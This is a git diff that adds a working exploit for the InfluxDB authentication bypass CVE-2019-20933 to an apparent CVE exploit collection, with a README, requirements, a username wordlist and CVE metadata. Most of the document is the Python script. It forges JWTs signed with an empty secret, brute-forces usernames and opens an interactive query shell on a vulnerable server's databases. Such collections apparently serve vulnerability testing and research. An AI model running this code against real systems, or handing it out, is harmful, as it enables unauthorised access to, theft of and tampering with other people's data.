diff --git a/cve/InfluxDB/2019/CVE-2019-20933/README.md b/cve/InfluxDB/2019/CVE-2019-20933/README.md new file mode 100644 index 0000000000000000000000000000000000000000..dad0665fdd60a920af4a49ca4b809434a239f112 --- /dev/null +++ b/cve/InfluxDB/2019/CVE-2019-20933/README.md @@ -0,0 +1,16 @@ +# InfluxDB Exploit CVE-2019-20933 + +Exploit for InfluxDB CVE-2019-20933 vulnerability, InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret). +Exploit check if server is vulnerable, then it tries to get a remote query shell. It has built in a username bruteforce service. + +## Installation +``` +git clone https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933.git +cd InfluxDB-Exploit-CVE-2019-20933 +pip install -r requirements.txt +``` + +## Usage +``` +python __main__.py +``` diff --git a/cve/InfluxDB/2019/CVE-2019-20933/__main__.py b/cve/InfluxDB/2019/CVE-2019-20933/__main__.py new file mode 100644 index 0000000000000000000000000000000000000000..e38d12f48201041f15d3c63e4a452136364cad3d --- /dev/null +++ b/cve/InfluxDB/2019/CVE-2019-20933/__main__.py @@ -0,0 +1,185 @@ +#!/bin/env python + +import json +import pathlib +import time +import urllib +import requests as requests +import jwt +from termcolor import colored + +def bruteforceUser(filename, host, port): + print() + print("Bruteforcing usernames ...") + with open(filename) as f: + for line in f: + line = line.replace("\n", "") + exp = int(time.time()) + exp = exp + 2.628 * 10 ** 6 + # Generation JWT + payload = { + "username": line, + "exp": exp + } + + token = jwt.encode(payload, "", algorithm="HS256") + query = "SHOW DATABASES" + response = makeQuery(token, 'dummy', host, port, query) + response = json.loads(response) + if "error" in response.keys(): + if "signature is invalid" in response['error']: + print(colored("ERROR: Host not vulnerable !!!", "red")) + print(colored("ERROR: " + response['error'] + "", "red")) + exit(1) + if "user not found" in response['error']: + print("[{}] {}".format(colored("x", "red"), line)) + else: + print("[{}] {}".format(colored("v", "green"), line)) + print() + username = line + return username + + print(colored("ERROR: no valid username found !!!", "red")) + exit(1) + +def makeQuery(token, db, host, port, query): + try: + headers = { + 'Authorization': 'Bearer ' + token, + } + except: + token = token.decode("utf-8") + headers = { + 'Authorization': 'Bearer ' + token, + } + + # Send request + query = urllib.parse.quote_plus(query) + response = requests.get('http://' + host + ':' + str(port) + '/query?db=' + db + '&q=' + query, headers=headers) + return response.text + +def exploit(): + # imput data + print() + try: + host = input("Host (default: localhost): ") + except KeyboardInterrupt: + return + + if host == "": + host = "127.0.0.1" + + try: + port = input("Port (default: 8086): ") + except KeyboardInterrupt: + return + if port == "": + port = 8086 + + try: + username = input("Username path to username file (default: users.txt): ") + except KeyboardInterrupt: + return + + if username == "": + username = "users.txt" + + # check if username is a valid file to start bruteforce + file = pathlib.Path(username) + if file.exists(): + username = bruteforceUser(username, host, port) + + exp = int(time.time()) + exp = exp + 2.628 * 10 ** 6 # Aggiungo un mese + + # Generation JWT + payload = { + "username": username, + "exp": exp + } + + token = jwt.encode(payload, "", algorithm="HS256") + #print("Token: {}".format(token)) + query = "SHOW DATABASES" + response = makeQuery(token, 'dummy', host, port, query) + response = json.loads(response) + + if "results" in response.keys(): + print(colored("Host vulnerable !!!", "green")) + else: + print(colored("ERROR: Host not vulnerable !!!", "red")) + print(colored("ERROR: "+response['error']+"", "red")) + return + + # Get databases list + dblist = [db[0] for db in response['results'][0]['series'][0]['values']] + + while True: + print() + print("Databases:") + print() + for (i, db) in enumerate(dblist): + print("{}) {}".format(i + 1, db)) + + print() + print(".quit to exit") + + + try: + db = input("[{}@{}] Database: ".format(colored(username, "red"), colored(host, "yellow"))) + except KeyboardInterrupt: + print() + print("~ Bye!") + break + + try: + db = dblist[int(db) - 1] + except IndexError as e: + # Prompt again if database index if not in range + continue + except Exception as e: + # Check if database exists if its a string + if db.strip() == "": + continue + if db not in dblist: + print(colored("[Error] ", "red") + "No such database: \"" + colored(db, "yellow") + "\"") + continue + pass + + if db in ['.exit', '.quit', '.back']: + return + if db == "": + continue + + print() + print("Starting InfluxDB shell - .back to go back") + while True: + try: + query = input("[{}@{}/{}] $ ".format(colored(username, "red"), colored(host, "yellow"), colored(db, "blue"))) + except KeyboardInterrupt: + break + + if query.strip() == "": + continue + + if query in ['.exit', '.quit', '.back']: + break + + response = makeQuery(token, db, host, port, query) + response = json.loads(response) + print(json.dumps(response, indent=4, sort_keys=True)) + + +if __name__ == '__main__': + print(colored(""" + _____ __ _ _____ ____ ______ _ _ _ + |_ _| / _| | | __ \| _ \ | ____| | | (_) | + | | _ __ | |_| |_ ___ __ | | | |_) | | |__ __ ___ __ | | ___ _| |_ + | | | '_ \| _| | | | \ \/ / | | | _ < | __| \ \/ / '_ \| |/ _ \| | __| + _| |_| | | | | | | |_| |> <| |__| | |_) | | |____ > <| |_) | | (_) | | |_ + |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/ |______/_/\_\ .__/|_|\___/|_|\__| + | | + |_| """, 'green')) + print(colored(" - using CVE-2019-20933", "yellow")) + + exploit() diff --git a/cve/InfluxDB/2019/CVE-2019-20933/requirements.txt b/cve/InfluxDB/2019/CVE-2019-20933/requirements.txt new file mode 100644 index 0000000000000000000000000000000000000000..a345330cd81dbff9d1f5ad634563da930d8cd11f --- /dev/null +++ b/cve/InfluxDB/2019/CVE-2019-20933/requirements.txt @@ -0,0 +1,4 @@ +urllib3 +requests +PyJWT +termcolor diff --git a/cve/InfluxDB/2019/CVE-2019-20933/users.txt b/cve/InfluxDB/2019/CVE-2019-20933/users.txt new file mode 100644 index 0000000000000000000000000000000000000000..802b77da01c04afee6b1067122efe3df10b2185f --- /dev/null +++ b/cve/InfluxDB/2019/CVE-2019-20933/users.txt @@ -0,0 +1,7 @@ +admin +user +root +database +db +influx +influxdb diff --git a/cve/InfluxDB/2019/yaml/CVE-2019-20933.yaml b/cve/InfluxDB/2019/yaml/CVE-2019-20933.yaml new file mode 100644 index 0000000000000000000000000000000000000000..eaf35209943ec4becb161261a0bd3936c528cf5b --- /dev/null +++ b/cve/InfluxDB/2019/yaml/CVE-2019-20933.yaml @@ -0,0 +1,19 @@ +id: CVE-2019-20933 +source: https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933 +info: + name: InfluxDB 1.7.6之前版本中的services/httpd/handler.go中的authenticate函数存在认证绕过漏洞。该漏洞源于JWT令牌可能具有空SharedSecret。攻击者可利用该漏洞绕过认证。 + severity: critical + description: | + InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret). + scope-of-influence: + InfluxData InfluxDB <1.7.6 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-20933 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-20933 + cwe-id: CWE-287 + cnvd-id: CNVD-2022-06547 + kve-id: None + tags: RCE, cve2019, 认证机制不恰当 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 127b8584d03817f427315e717d024cb3041673be..023c281ee4587af111ba9965ffc1bcd3a0a39eb8 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -17,6 +17,8 @@ cve: - CVE-2022-33891 apache-tomcat: - CVE-2020-13935 + Influx-DB: + - CVE-2019-20933 linux-kernel: - CVE-2021-4204 - CVE-2021-22555